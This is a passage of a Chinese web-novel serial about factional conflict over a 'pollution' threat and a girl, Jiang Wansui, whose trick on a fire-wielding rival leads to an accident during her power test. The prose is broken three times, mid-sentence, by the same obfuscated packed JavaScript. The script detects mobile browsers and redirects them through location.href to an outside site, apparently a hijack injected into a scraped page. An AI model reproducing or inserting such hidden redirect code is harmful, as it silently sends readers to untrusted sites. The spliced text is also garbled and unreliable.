“我致电过行委会办公室,她们告诉我,晏首席自外环部归来后就留在了研疗中心。”她望着晏徽年前来,见她衣服上似乎带着灰尘还有些奇怪,但没有表露出来,“我心里着急就直接过来了,不算打扰吧?” “殷指挥长的事,说什么打扰不打扰?”隔着一张会议桌,晏徽年走到她对面的位置入座,闲聊似的说道,“你身边的这位是新来的副官?” 一直垂着头坐在殷正钰下首的年轻人被点到,顿了顿抬起头来,她平平无奇的面容之上竟然有一双纯白的眼珠,分不清眼仁与眼白,静静地嵌于眼眶之中。过了片刻,她将眼睛重新闭起,向晏徽年微微鞠躬,又重新低下头去。 “许昉,我新提拔起来的好苗子,”殷正钰以随意的口吻介绍说,“她能够通过双眼释放强效攻击,对浊生体造成致命打击。” “原来如此,”晏徽年笑着点头,“殷指挥长向来能慧眼识珠。” 客套话说完了,殷正钰就不耐烦再继续寒暄下去,她直接说出了自己的来意: “异能军团所需的军备物资,晏首席打算什么时候配备完全?” 异能军团需进一步升级扩充军备物资,这是在乐霆总长离开前最后一次召开的大会上通过的决议。这个决议当然是由殷正钰提出的,但筹备推进工作却被安排到了晏徽年那里。诚然晏徽年身为行政委员会首席,有直接统筹整个东区生存保障部门的权力——守护军的后勤保障部自然也在其中。然而殷正钰却一直很难放心。 事实证明她的担心也没错。到现在,距离会议结束已经过了半个月,晏徽年那边还一点动静都没有。 “殷指挥长,我也有疑惑,”晏徽年气定如山,“指挥部交到我这里物资清单,似乎和会上你提交的议案有所出入。” 殷正钰皱了下眉,已经有些压不下脾气了,她质疑道:“‘根据前线污浊态势及作战需求,拟对现有军事装备体系进行系统升级改造’,这些话你是哪个字看不懂?” “根据前线态势及作战需求,”晏徽年说,“我不赞同现在为守护军配备过量的强杀伤性武器。” “哈,”殷正钰直接被气笑了,她反问,“过量?强杀伤性?这就是你晏首席的观点?东区被外围的污浊逼得寸步难行,士兵们迎战浊生体的胜利率甚至还难以过半,这样的形势你不是不知道!现在你还要卡着军备升级的流程……” “我很高兴殷指挥长也清楚现在士兵的牺牲率和污浊的可怖,”晏徽年打断了她的话,“不过升级完军用装备,殷指挥长是不是就要带着士兵们到外面的污浊域操练?然而再强的武器也并不能保证她们的存活率,况且一旦贸然发动战争,区内普通居民的安稳生活又会受到多大影响,你考虑过没有?” “——所以你就要等?!”殷正钰怒气上涌,她忍不住站了起来,拍着桌子说,“自东区建立以来,我们筑起高墙、设立屏障,可那群该死的东西还是源源不断地渗透进来,轻而易举地夺走我们的同胞!既然这样,为什么不能直接打出去?!最好的防守就是进攻!守无可守,只有死路一条!” 话到这里,就暴露了二人根本的不和。面对污浊,殷正钰一直是激进的主战派,本次升级军备也是为未来的主动出击作准备。而晏徽年的态度更为保守,她认为在外界污浊势大之时,保存力量才是最优选择。 “东区建立的初衷,就是为人们设立起阻隔污浊的屏障,”晏徽年缓声说,“我的观点不会改变,现在还不是正面出击的时候。” 在大陆地图上,东区的完整面积尚且不足污浊域的五分之一。它的常居人口则在六万左右,其中异能觉醒者的人数约一万人,具有优秀潜质能够直面污浊的人更少。而污浊催生的浊生体却数不胜数,它最可怕的地方甚至也并不在数量,而是它难以彻底消除。 浊生体可以被杀死,它体内的污浊却不会随之消失,而是在宿主死亡的那一刻迅速逃逸、或者趁机侵袭她人。为此,人类开发出了隔绝屏障、和隔绝严密的防护服,力求在杀死浊生体的当下就将污浊也一并“捕捉”,并送入研疗中心管理。异能研疗中心也一直在研究能够彻底将污浊无公害消除的方法,可惜进展缓慢。 晏徽年现在看到了一点希望,但也还不到能泰然说出口的程度。 “……这么说来,你是要一直拖下去了?”迎着她波澜不惊的脸,殷正钰也渐渐恢复了冷静,面色却相当不好,讥讽道,“拖到你那个刚找回来的女儿成什么所谓的‘救世之星’?” 晏徽年不动声色,倒是不惊讶她的消息,毕竟当初西区巫的前来也在心城高层掀起了一阵波澜,她寻找“救世之星”的说法也从未特意隐瞒。现在晏徽年将姜万岁带了回来,自然有不少好奇的眼光。但就晏徽年对殷正钰的了解,对方肯定不惮于先以恶意进行揣测。 “我知道你在耍什么把戏,”果然,殷正钰又继续说道,“什么‘巫’也好、‘救世之星’也好,不过是你欺世盗名的手段。你晏首席有的是办法蛊惑大众跟着你的主意走……可你骗不了我!” 晏徽年此时却没有理会她紧盯不放的目光,她的话基本已经说完,现在准备离开了。 “希望你能继续保持这么幽默想象力,”晏徽年评价了这样一句,又侧头看向一直跟在身边的姚锦,“新的军备额度评估,今晚能出来?” 姚锦适时开口道:“是的。初步评估已完成,正在核查细节。” 两人的背影一前一后从会议室离开了。 殷正钰用刀子一样的目光送完晏徽年,忍不住按了按额角。过了会儿,她才冷不丁地问道:“看清楚了?309疗养室里是什么情况?” 309正是姜万岁所在的疗养室。殷正钰在异能研疗中心有自己的人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15908159|176542||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手,其实在晏徽年带人一到研疗中心她就得到了消息,这次也是特意将许昉带来。许昉的异能正在她的双眼中,不仅能进行强势攻击,也能在一定距离内进行定点的透视——不仅能看到实体,还能看到异能者的异能波动。 纵然殷正钰对晏徽年深有防备,巫口中的“净化”异能也实在太有吸引力。如果真的存在,它无疑是对殷正钰反攻主张的强烈支撑。万一这样的可能性是真,净化异能落在晏徽年手里,以她那虚头巴脑的窝囊观点,也只会将其埋没。 所以殷正钰表面和晏徽年分毫不让争执,暗地里却也安排了许昉这样的专门人才进行工作。她必须要知道晏徽年有几张底牌。 这时她问完,却没有第一时间得到回应。她了解许昉是个话少还慢性子,所以又催了一句,才见她抬起脸来。 “——你发烧了?”殷正钰瞧着许昉的面颊似乎比起之前来更发红,有些吃惊。 许昉把身子缩了缩,却像打了个寒噤。她睁开了白色的眼睛,只对她最先的问题回答道:“看不清……” 她努力眨了眨双眼,神态中出现了隐约的迷茫与不适。 “光……要闪瞎了。” * “咔嗒咔嗒咔嗒咔嗒咔嗒咔嗒咔嗒咔嗒咔嗒咔嗒咔嗒咔嗒……” 另一边,309里的姜万岁正在闭着眼拍摁室内的点灯开关,把好好的白炽灯刷出了疑似短路的电闪效果。好一阵子,她摸了摸头上的汗,甩着快要抽筋的右手滑坐在地。 姜万岁不知道是什么东西在暗中窥视,脑内的知识告诉她一般情况下的“看见”都需要光线。所以,在藏好自己的东西后,本来她是想将窗帘拉死并且直接将灯关掉,但转念一想,要驱逐扰乱这种窥视,曝闪应该比漆黑的杀伤力更强。 到现在,那股危险的不明窥视终于暂时消失了(也不知是不是被姜万岁闪到了眼),但屋里的灯也被她摁坏了。 姜万岁动了动,发出一阵“嘶”声,现在她的手还很疼,也没有光线,要怎么看继续母亲的资料呢?她暗叫一声“倒楣”,从地上爬了起来,想着还是先把靠近走廊一边的窗帘拉开,先让外面的灯光进来些。 可她刚一动作,门口却传来“叩叩”几声,紧接着,那刚刚被她拉开窗帘的、走廊一侧的那块高高的横窗户上又闪出个人头来。 那人应该是跃起攀上了窗台,不过因为窗户太小,对方尝试好一阵子还是只能将双臂撑上来。她用两只胳膊压在窗沿上,勉强稳定住了身形,一头炸着的卷发也停止了晃动。 她满是好奇,大睁着眼睛想看清楚光线不明的室内,却在和姜万岁对上视线时狠狠愣住了。 “——喂!是你!!!” 她神色大变,瞪着姜万岁发出怒吼,愤懑之下两只手都顾不上借力了就要捶打窗户,紧接着“砰”的一声,她又直接从窗上摔了下去。 姜万岁则神情复杂地收回视线。 怎么回事?她不解,这地方傻子也能进?? 8.骗傻子的钱是不会愧疚的 姜万岁遇见那个“傻子”时是在她进入东区——准确来说是外环部——的第一天,比她认识娜索还要更早一些。 那时她刚从“外来者登记”的队伍中溜了出来,对着新的世界满怀兴奋和好奇,但还没逛上几条街呢,她就意外在一个小巷中发现了个奇怪的人。 那个人看上去跟姜万岁差不多大,高个子,壮体格,炸着一头乱蓬蓬的自来卷,身上穿着棕色的牛仔褂和卫裤——看着也挺整洁体面的。但这样一个看着还正常的人已经自顾自地连做了数个后空翻,一旦落地就是扎着马步将两只手用疑似出掌的动作向外推,嘴里还发出“呲”“呲”的配音……到了最后她像是累了,终于停下了动作,开始将两只手翻到眼前看,不知怎么的又“嘿嘿嘿”笑出声来。 偶然间走入这条小巷的姜万岁谨慎地将腿又收了回来。 可巷子里的人这时已经发现了她,对方(不知道为什么)眼睛一亮,张嘴就要说话。姜万岁转身就走。 ——虽然她也不认识多少人,但这家伙一看就不太正常吧? ——她万一突然甩泥巴怎么办? 姜万岁在心里嘀咕着,脚下越走越快。可惜事与愿违,她的身后紧接着就传来了“oi”“oi”的呼叫声,很快她就被人追上了。 “oi~oi~”对方大大咧咧地把头拦了过来,“我叫你呢,你跑什么啊?” 姜万岁也是第一回听见有人用“oi”这个音,她被卷毛晃了下眼,只好停下,暗暗一种凝重而不失戒备的神情打量着对方:眼不歪嘴不斜,还是看着挺正常的面相…… 对方拦住了她之后自然也将目光放在了姜万岁的脸上,然后她就突然将头缩回,一手抓在了后脑上,带着些惊讶和纳罕开口说:“噢哟!你……你怎么……好像看着有点眼熟啊?” 姜万岁莫名其妙,心说我看你怎么一点也不熟。不过她想到对方那些更让人莫名其妙的言行,也就释然了。人总不能跟傻子计较。 “干什么?”她用尽量平稳的语气问。 “不对,不对,认真一看,确实是没见过,”对方仔仔细细地打量了她一会儿,突然放松了下来,她围着姜万岁转了一圈,嘴里说,“世界上人都是两只眼睛一张嘴,我是看花眼了吧哈哈……Oi~你叫什么名字啊?我叫乐悠达!今天才刚来这里……” 准确来说,乐悠达是甩开了“家里人”的安排,自己偷溜出来了。能来到外环部,也是她觉得总闷在家里无聊,偷偷跟上了前来外环部公干的长辈——虽然很快就被发现了。乐悠达生怕会被马上遣返,这才偷偷跑到了街上,并且翻了几个跟头庆祝自己的成功。 在她的视角中,自己是一时兴高采烈难以自抑,翻跟头的同时还忍不住比划了两下——乐悠达在前阵子觉醒了异能,是和母亲一样的火系。她的手中能发出火球,不过因为觉醒初期还不太稳定,异能时灵时不灵的。乐悠达试了好一会儿都没成功,她也没灰心丧气。虽然没打出火来,但她看到掌心多了一点漆黑的痕迹,是空中飞尘被高温烧焦后留下的,一搓就掉了。这同样让人挺开心的! 她就这样开心地抬起头来,意外就发现这巷子里多出来了一个人。 ——应该是本地人吧? “你们这儿最好玩的地方在哪里啊?你见识过浊生体吗?你有没有跟它们打过架?哎对了……” 乐悠达兴致勃勃地说完,却没听到应声。她扭头一看,发现这个新认识的“本地人”正在皱着眉毛看向自己。 “你刚刚……”姜万岁带着点犹疑和试探开口问,“在巷子里的时候,是在干什么?” 从姜万岁的观察而言,“乐悠达”说起这些话来的时候好像正常了一点,虽然还是有些话她听不懂,但至少看上去不太像会甩泥巴的样子了…… “哈哈,原来你看到了呀!”乐悠达又挠了挠后脑勺,却明显误会了姜万岁的意思,因为她压抑不住激动又动了起来,“我刚刚是在练拳!嘿哈!你看,其实我的手里能打出火来——” 完全还不知道有异能力这回事的姜万岁一脸沉默,她眼睁睁地看着乐悠达又是一个跟头翻了起来,因为离她们不远的路边正好栽着棵树,乐悠达就翻到了树边,开始打树干。 乐悠达有点心潮澎湃,既然姜万岁问到了,她就想再展示展示,没想到一出掌,“砰”的一声,树身微晃,先落下一颗鸟蛋来。 “啊!嘶……这什么?”乐悠达的脑袋则正好被蛋砸中,她下意识从头上抓下了一把蛋壳。 姜万岁:“……” 事情还没完,因为很快就有鸟飞了下来,开始锋利的鸟喙和爪子为自己哀逝的蛋报仇。乐悠达慌乱大叫,被啄得抱头乱窜,一不小心就朝着姜万岁跑了过来。 “……喂你等一下!”姜万岁连忙用围巾包住头脸,“啊不是为什么连我也要啄……” 两人狼狈地从树下逃开,跑出了好一段距离才彻底甩开了那只鸟。姜万岁气喘吁吁,她摸了摸自己隐隐作痛的头颅,忍无可忍地对乐悠达说:“你这样自己出来根本不可以啊!你家人在哪?” 乐悠达正哀叹着自己被薅下来的茂密发丝,闻言却是一愣,她惊诧地问道:“你?!你怎么猜到了我不能出来……” “这还用猜吗?!”姜万岁露出了恨不得给她一拳的表情,她竖着眉毛问,“你家到底在哪?” “啊?我……”乐悠达说着话,却骤然神情一紧,她拽过姜万岁就开始大步跑,“啊啊啊啊你这乌鸦嘴,她们来了啊啊啊……” 姜万岁猝不及防,被她扯着灌了一肚子的风,回头一看才发现在后面的路口走出来了几个问路的黑衣人。这时她自认为已猜到了真相。 几分钟后,姜万岁气喘如牛,实在跟不上她的风火轮速度,她挣扎着想甩开对方,乐悠达却坚决不松手。于是“噗通”一声,体力不支的姜万岁直接磕在了地上。 随后她被乐悠达扛了起来继续跑。 不知过了多久,乐悠达才在一个无人的花园角将姜万岁放了下来。跑了场快速马拉松,她却看不出半点疲惫,瞧着依旧精神十足,还记得左顾右盼防范追兵。 “oi你……啊!你死了吗?!!” 躺在地上还没死的姜万岁睁开双眼,她活动着因疼痛看起来暂时不太方便的四肢,慢吞吞地从地上爬了起来。 乐悠达突然退了一步,她结结巴巴地开口问:“……你、你还、还好吗?” 姜万岁定定瞧了她一眼,却露出了毫无阴霾的笑容,扬声说:“我没事,不要把我想的这么弱嘛!不过你可真厉害啊,居然跑得这么快!” “……啊、啊?”乐悠达一副反应不过来的样子。 姜万岁笑眯眯地上前拍了拍她的肩膀,她还取出纸巾来,帮乐悠达清理干净了头发上的蛋液,嘴里则热情说道:“我是在夸你啊!乐悠达,你有这么强壮的身体,简直是太棒了!而且你还能喷火唉,世界上怎么会有你这样的天才!我到今天才认识到自己的不足,哎我可真是太羡慕你啦,这样你能不能再给我展示下你究竟是怎么喷火的……” 乐悠达原本还有点莫名的警惕,只是呆呆地任姜万岁动作,但她很快就在姜万岁的彩虹屁中迷失了自我,开始相信这个本地的同龄人是真的崇拜自己。 “也、也不是不可以了哈哈。”她挠着头应了下来,然后就开始后空翻、打拳、继续后空翻、继续打拳…… 就这样试了好久,她却始终没成功,体力却快耗得差不多了,只能蹲在地上喘着粗气、面带沮丧。 “别灰心,”姜万岁却也蹲下身来宽慰她,“你只不过是还不够熟练,多试试就好了。而且你忙了这么久,肯定也累了,要不要吃东西?” “……你人真好,”乐悠达由衷地说,她摸了摸自己的肚子,赞同说,“确实有点饿了。我请你吃饭吧!” “诶,可别,你忘记那些追你的人了?”姜万岁劝说道,“你把钱给我,我给你买东西回来。这里没人,你就躲在灌木丛后等我,怎么样?” “好啊!”乐悠达没怎么犹豫就同意了。她从兜里摸了摸,直接把自己的钱包给了姜万岁,说道:“你记得多买一些,我吃得比较多。” “没问题。”姜万岁把钱包接过,颠了颠还不轻,她再度嘱咐乐悠达,“你在这里太显眼了,快躲进去吧,等我回来。” 见乐悠达缩在了一块大灌木丛后,姜万岁才转过身去,不过没走几步,身后又传来了“oi”“oi”的喊声。她心里一紧,回头问怎么了。 “我还不知道你叫什么呢!”乐悠达兴冲冲地问。 姜万岁松了口气 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15918570|176542||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,笑着说:“我叫姜万岁。” 乐悠达点点头:“好的姜半岁!” 姜万岁:“……”等着吧你!! 她扭头就走,靠着自己还算稳妥记忆力沿着乐悠达逃跑的路线往回赶,不一会儿正好碰见了几个眼熟的黑衣人。 “……乐悠达在前面两个路口后的花园里,”在确认了身份后,姜万岁跟对方详细指了路,还特意点出了乐悠达藏身的灌木丛的位置,说到最后,她也以几乎恨铁不成钢的语气说,“你们太失责了!贸然让她跑出来,你们知道会造成多大的危害吗?!” “……啊?”领头的黑衣人神情中闪过了几分茫然。 “哼,”姜万岁没再多说,她还要去给自己拿药,最后她只用分外冷酷的语气向她们宣告,“她要问,你们就只管告诉她,我叫姜、万、岁。” …… “——姜、万、岁!!你这个骗子!大骗子!!”乐悠达在疗养室外恨不得一蹦三丈高,她想起自己饿得前胸贴后背的时候被人一把从灌木丛里薅出来就气得不行,更可气的是,那个罪魁祸首还把她所有的钱都卷走了。那之后,晏姨直接把她打包又丢回了心城,她母亲在得知此事后更是直接罚了她五天的禁闭。 好不容易禁闭结束,乐悠达是听说晏姨的女儿终于找到了才好奇来看,怎么也没想到她竟然就是那个欺骗了自己感情和钱包的黄毛。 乐悠达悲愤不已,想再跳上窗户,可这时候被她引开的一直在门边的守卫已经回来了。 那守卫一见到乐悠达就全明白了。她被姚锦安排在309室外看守,还被开放了室内监控的查看权限。一开始,她在突然看到室内窗帘全拉、里面又传来声音“咔哒咔哒”时还很惊疑,不过监控为她解答了疑惑。因为姚锦再三嘱咐过“不要放她出来”,所以她很镇定地保持了按兵不动。然而等了一会儿,里面好不容易安生下来,外面又闹了动静。 “悠达,你不应该来这里捣乱!”守卫严肃地刚找到的手机丢还给了乐悠达,丢之前还不忘把刚才顺序播放的“救命啊”“浊生体来了”“为什么这里会有污浊”之类音频列表都删除。 可乐悠达这时根本没空注意到这个,她对守卫的话置若罔闻,跺着脚只顾着气势汹汹去拽门。 “我不管!我要跟这个小黄毛算账!!”她一边拉一边拍门,“姜万岁!你这个黑心肝的黄毛卤蛋!有种就给我出来——” “悠达……” 守卫连忙阻止她,心说这都什么跟什么…… “——这是怎么了?” 正在这时,走廊中却又出现了一个穿着白大褂的影子,她身量高挑,手里拿着病历夹,一边笑着一边走了过来。 “余辰,悠达?你们怎么都凑在这儿了?” 守卫的名字正是余辰,她听见声音便忙把张牙舞爪的乐悠达架到一边,回答说:“时主任,姚助吩咐我在这里守门,里面要休息三十六个小时……” “啊,这确实是我一开始说的话,”时主任扶了下眼镜,然后带着些忍俊不禁将视线放到了她身后,“不过这也要视患者的具体情况调整哦……” 余辰顺着她的视线回头,发现高高的窗户上不知何时出现了姜万岁抱着双臂居高临下俯视的脸,她面无表情,不发一言,乍一看还唬人的。 乐悠达看到更是气疯了,不管不顾又开始爬窗户——没爬动,余辰又给她拦腰拖了下来。 “啊啊啊!放开我!”乐悠达不解、悲愤、怒号,撕心裂肺,“我一定要给她个好看……” 窗户后的姜万岁像是听见了这句话,眉头一动就露出个冷笑来,看上去格外挑衅。 “噗哈哈哈哈哈哈……”那厢旁观的时主任却乐不可支,还记得分享给余辰,“这完全就是徽年的样子嘛,你看着像不像?” 余辰咳了一声,低下头没回答。 “好吧,”时主任有些无趣地摇头,说出了自己的来意,“既然万岁的身体已经恢复得差不多,我需要带她去做一下异能的检测与登记。” 语毕,她朝着窗户里的姜万岁眨了眨眼。 “可是……”余辰还记得姚锦交给自己的任务。 “你跟着一起去吧,”时主任已经通过了指纹验证,转动把手打开了门,“徽年问起,就说是我的意思。” 9.异能检测事故(上) 趁着余辰分神,乐悠达猛地挣脱了她的控制,觑着门缝一开就率先冲了进去,连时主任都被她甩在了后面。 “姜万岁!!!”她咬牙切齿,一进来就将视线锁定了那道在窗户边的身影,指着她大喊道,“你!你给我下来!!” 姜万岁还站在被摞在一处的桌凳之上。这一桌一凳都是她紧急拉过来给自己垫高的——不然窗外的视角肯定瞧不见。眼下见外面的人都走了进来,姜万岁也没急着下,她仍然抱着双臂,以一种岿然不动的冷漠俯视着下方。 “——你是谁?” 面对乐悠达的叫喊,她甚至也没理会,一开口是对那穿着白大褂的时主任出了声。 时主任在进来后似乎饶有兴趣,对着“高高在上”的姜万岁也只是扶着下巴笑,她在姜万岁脖颈前挂着的红珠屏障器上扫过一眼,听见询问就自我介绍道:“时清淮,异能研疗中心主任。而且,我还是你母亲晏徽年的朋友。” “——喂!!你有没有听……” “哼,”乐悠达的声音再次被无视,姜万岁盯着时清淮面露不善,她继续问,“你来这里干什么?” “诶?跟你妈妈吵架了吗?”时清淮有些了然,她笑眯眯地说,“我来看看你的情况,顺便带你去做一下异能检测与登记。万岁,第一次觉醒异能,你对它好奇吗?” 乐悠达:“喂!!!我在说话……” “去哪里?”姜万岁又问。 “异能检测室,”时清淮说,“位置嘛,就在一楼。” 姜万岁正要继续开口,却见空中“噗”的一声竟然燎起了一簇火光。 “啊啊啊够了!!不要忽视我啊!”乐悠达忍不住跳起来向半空发了一掌,强势将其她人的视线都拉到了自己身上,“时姨!你也不要说话!姜万岁!我要跟你算账——” “……你,”此时姜万岁终于将目光放到乐悠达身上,她的神情中也出现了变化,“你真会喷火??” 乐悠达的满腔怒火一滞,她动了动自己的手,这时才反应过来,下意识又拍了一掌,只听见“呲”的一声,果然又有一簇火苗顺利从她的掌中窜出。 “诶?!!我成功了!”乐悠达兴奋、继而狂喜,又想翻跟头,但她勉强压制下了这股冲动,还是记起了自己的正事。她继续用苦大仇深的目光瞪向姜万岁,却见对方竟然从那桌椅上下来了。 “喂你别跑……” 借着室外的光线,姜万岁去沙发那里找到了自己的卫衣,然后在口袋中摸摸找找,不一会儿就拿出来了一样东西,转身将它塞到了紧随而来的乐悠达手里。 “你要这个东西吗?” 一个款式非常熟悉的钱包被塞进手里,乐悠达低头一看就愣住了,满脸暴怒的神情凝在了脸上。她下意识捏了捏,里面还是鼓鼓囊囊的重量……乐悠达皱起眉,又带着些难以置信去看姜万岁,却发现姜万岁一直在静静地望着她。 ——啊这…… 乐悠达张了张嘴,在这样的目光下心底突然生了些犹豫,她不由得心想:如果钱都在的话,她是不是误会了对方?自己是不是太冲动了?可能那天还发生了别的事情让她没有及时赶回来…… 在这样七上八下的心绪中,乐悠达打开了那个沉甸甸的钱包,借着室内微弱的光线,她看到里面果然还都是满满的…… “——混蛋你把我当傻子吗?!!” 几秒后,乐悠达愤怒地将那个盛满了纸巾和碎石块的钱包摔在地上,气得几乎眼前发黑,她咆哮道:“我要让你付出代价!!!” 话音未落,她一掌就向姜万岁身上打去,可惜“噗”的一声,火苗还没碰着姜万岁的衣服就已及时熄灭了。 “放、开、我!”乐悠达被余辰架着向后拉开,用尽全身力气要从禁锢中逃开,“啊啊啊啊放开——” “悠达,你冷静点,”余辰满头大汗,用严肃的口吻告诫她,“不可以伤害同类啊……” “我不管!!我要气死了!我非打死她不可!姜万岁!混蛋!!王八蛋!!我要和你拼了啊啊啊啊……” 姜万岁则轻轻地“啊”了一声,以一种若有所思的神情盯着乐悠达看,一下皱眉、一下瞪眼的,也不知心里在想什么。 时清淮这时也看够了戏,于是便咳了一声出来打圆场。 “悠达,你不礼貌了哦,”她拦住了挣脱开余辰后就向着姜万岁冲去的乐悠达,用轻快的语气提醒她说,“今晚你母亲可就要回来了,如果你再在这时候捣乱,她生气我可不会拦的。” 乐悠达那急着差点窜出火星子的鞋底猛然刹住车,她还怒意高涨,在听见她的话时却没忍住一下瞪大了眼睛。 “我妈回来?!今晚??”她不可置信,想到自己刚结束的禁闭不免恨恨跺脚,但看到姜万岁若无其事还是气得咬牙,“时姨你不知道这个混蛋就是欠收拾!我光明正大跟她打……跟她切磋,怎么就捣乱了?!” “我已经说过了,”时清淮仍然笑着,语气却不容质疑,“万岁才刚觉醒异能,现在需要去做异能检测和登记,这可是大事,你也是做过的。” “可是……” “悠达,不要捣乱。” 见乐悠达忿忿不平地住了嘴,时清淮便将目光放到了姜万岁身上。 姜万岁趁着她们说话已经不知不觉间移动到了门边,她佯作不经意看了一眼余辰,却正好和对方的目光对视,再一看,时清淮也挑眉看了过来。 姜万岁重重“哼”了一声,直接自己大步走了出去。 乐悠达跳脚:“时姨你还说我没礼貌?!” 于是几人一同到了走廊上,姜万岁前面走着带路的时清淮,后面是充当护卫的余辰,另一旁还跟来了个放话一定要等她测试完打一架的乐悠达。 ——可恶,这不是完全被围住了吗? 姜万岁面上一瞬间浮现出恼恨,又被她紧紧按了下去。她睨了眼一直在对她实行注目礼的乐悠达,张嘴问:“你真不是傻子?” “我——” 乐悠达的一腔怒骂还没发出来,就被后面像长了眼睛的时清淮回手揽到了前面。乐悠达只好隐忍闭嘴,时不时向后飞个眼刀。 姜万岁没理会,她心里还有自己的打算。 不一会儿,几人就顺利到了一楼。姜万岁观察到这栋楼是圆环形的结构,每层楼的空间广阔,排布着从外面看几乎一模一样的房间,走廊上窗户反射着太阳明亮的弧光。姜万岁从一个天蓝色的房间出来,乘坐电梯到了一楼的另一个蓝色房间,只不过这个空间更大一些,里面分布着几个样式古怪的装备。 时清淮带着姜万岁来到了正中央的大仪器面前。这个仪器高达两米,外围是透明的舱体,里面则是配备着操作台的显示屏,屏幕像是一面正泛着波澜的漆黑的湖水。 “这就是异能检测仪,只要将手放到操作台即可。如果在觉醒前期异能不稳定,检测仪也会适当进行引导。”时清淮看得出姜万岁跃跃欲试,简要介绍完就询问说,“去试试吗?” 舱门开合,姜万岁走了进去,她故作淡然地将手按在操作台上,目不转睛地盯着前面的屏幕。 外面,乐悠达同样聚精会神地看向了显示屏幕,想知道姜万岁究竟是不是个能打的。 她初步觉醒了【控火】的异能力,初期强度是C级。很多人的异 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15931288|176542||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能强度在觉醒时都在最基础的E级,之后则会随着修炼不断增长。乐悠达初步觉醒的强度就比别人快了两级,这可让她乐得翘尾巴了。 她心想如果姜万岁觉醒的强度比自己的低,那么她就先要大肆嘲笑一番再把她打到满地找牙,等姓姜的痛哭流涕抱着她的腿求饶,再勉勉强强放过她…… ——等等?她是晏姨的女儿,怎么会姓“姜”? 乐悠达突然发现了盲点,就在她暗自不解时,异能检测仪的屏幕忽的出现波纹,潮水似的黑色褪去,里面有只黑面獠牙的浊生体猛然穿透屏幕向前面的姜万岁扑去! 那异兽已在眼前,姜万岁却毫无波动,眼瞧着那只面容可怖的异兽在快要触及自己身体时,骤然又如雾气散去。 “我劁?!” 乐悠达骂了一句。她这么淡定,那之前测试时被仪器的幻真浊生体吓到大喊大叫的自己算什么? ……这人好装! 姜万岁在里面又等了一会儿,各种样式的假浊生体都看了个遍,仪器上还是没有任何关于她异能的提示。她抿了抿嘴,又从里面走了出来。 “它坏掉了。”姜万岁带着不满对时清淮说。 “……这个说法可能不够准确,”时清淮观察了全程,这时看着姜万岁不免露出了非常稀奇的神情,“主要问题在你吧,万岁,在里面完全没有危险的感觉吗?” “我又不是笨蛋,”姜万岁昂着下巴,“那种东西根本骗不了我。” 乐悠达:“……” “很敏锐嘛,”时清淮夸了一句,她打了个响指,“既然这样,那就采用下一个方案喽!万岁,我听说了你的能力,它很特殊,既然这样,我们不如选择真正的污浊来试一试?” 她按下了旁边仪器的一个按钮,说道:“把今早分离出的衰减污浊分离体S765号带过来。” 异能研疗中心会对污浊进行回收,并一直在采用各种方法力求将它彻底杀灭去除。S765号是被分离在1立方厘米隔离罩内的污浊,它的活性是同期衰减中的最低,也是中心最有希望的实验方向,即使出现逸散也能被中心的追踪隔离罩即使捕获。之前在检测仪无效时,S765号也曾被用于作刺激物。对于已经成功净化两次浊生体的姜万岁而言,这是一个更合适的道具。 因此余辰犹豫了一下,也没出声阻止。 几分钟后,一个浑身穿着隔离服的实验人员手提着隔离箱走了进来。在时清淮的示意下,她将隔离箱中取出的一块小立方体放进了异能检测仪的屏幕中。屏幕就像是深不可测的湖水,轻而易举就像那块东西吞了进去,没有泛起半点涟漪。 “好了,再去试试吧。”时清淮重新检查了一遍检测仪舱体中的隔离设备无误,就对姜万岁挑了挑眉。 姜万岁听到了,转身时却故意撞开了明显不在她前路上的乐悠达——因为对方存在感过于强烈的视线让她觉得烦。 乐悠达怔了一下,回神后只恨不得同样冲进那舱体把她揍趴下:“混蛋!!你等着……” 姜万岁不在意这点插曲,她再度将手按到了操作台上,全神贯注。那漆黑的屏幕上果然又开始出现了震荡的波纹,渐渐鼓噪不休,粘稠的不明的液体向外喷溅,隐约的雾气也开始在舱体内蔓延,几乎将大半的舱体都遮蔽在了浓黑之下。 一直在密切观察的时清淮骤然脸色一变:“不对!” 她话音刚落,只听见“啵”的一下,屏幕中霎时就探出了一大块黑色的蠕动粘稠物,眨眼间竟将姜万岁整个“吞”了进去。与此同时,舱体已挡不住越涌越浓的黑雾,“砰”的一声便完全炸裂开来,大片的雾气飞速在室内蔓延。 10.异能检测事故(下) “滴——滴——” 随着污浊迅速扩散,室内的警报器发出高鸣。时清淮反应最快,她在自动应急程序启动前,一把先将最小的乐悠达推了出去。 